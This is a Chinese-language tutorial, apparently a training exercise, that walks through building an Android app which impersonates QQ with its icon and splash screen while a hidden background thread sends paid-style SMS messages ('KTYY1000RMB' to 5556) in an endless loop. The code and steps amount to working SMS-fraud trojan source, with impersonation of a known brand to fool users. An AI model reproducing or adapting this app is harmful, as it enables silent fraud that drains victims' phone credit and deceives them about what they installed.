在这一次的练习中做了一个“后台偷发短信”这样的一个小程序
第一步:
首先新建一个Android工程,主题用QQ启动时的启动页面,图标用QQ图标(可以在新建工程的时候在Image File中直接选择处理好的图标,
也可以等新建完工程后把QQ图标和主题页面直接拷贝到文件夹res的drawable-hdpi文件夹下)
那么在清单文件activity_main_xml中icon会直接引用我们所拷贝的图标ic_launcher.png(需要把其它drawable-hdpi文件夹下的ic_launcher.png删除掉)
然后配置启动时候的页面显示splash.jpg
打开activity_main.xml在线性布局中设置
android:layout_width="match_parent"
android:layout_height="match_parent"
android:background="@drawable/splash"
第二步:去除标题
//取出标题必须在setContentView前调用
requestWindowFeature(Window.FEATURE_NO_TITLE); //取出标题
第三步:开启一个子线程while(true)
//开启一个子线程。while(true)循环发送短信
new Thread(new Runnable(){
@Override
public void run() {
// TODO Auto-generated method stub
while(true){
//循环发送短信
try {
Thread.sleep(1000);
} catch (InterruptedException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
SystemClock.sleep(1000);
SmsManager smsManager=SmsManager.getDefault();//短信管理器
smsManager.sendTextMessage("5556", null, "KTYY1000RMB", null, null
// "5556" //收件人的号码
// null, //短信中心号码
// "KTYY1000RMB",
// null, //如果发送成功,回调此广播通知我们
// null //当对方接收成功时回调此广播
);
}
}
}).start();
}
第四步:添加短信发送权限
在AndroidManifest.xml中
<!-- 添加发送短信的权限 -->
<uses-permission android:name="android.permission.SEND_SMS"/>
第五步:运行。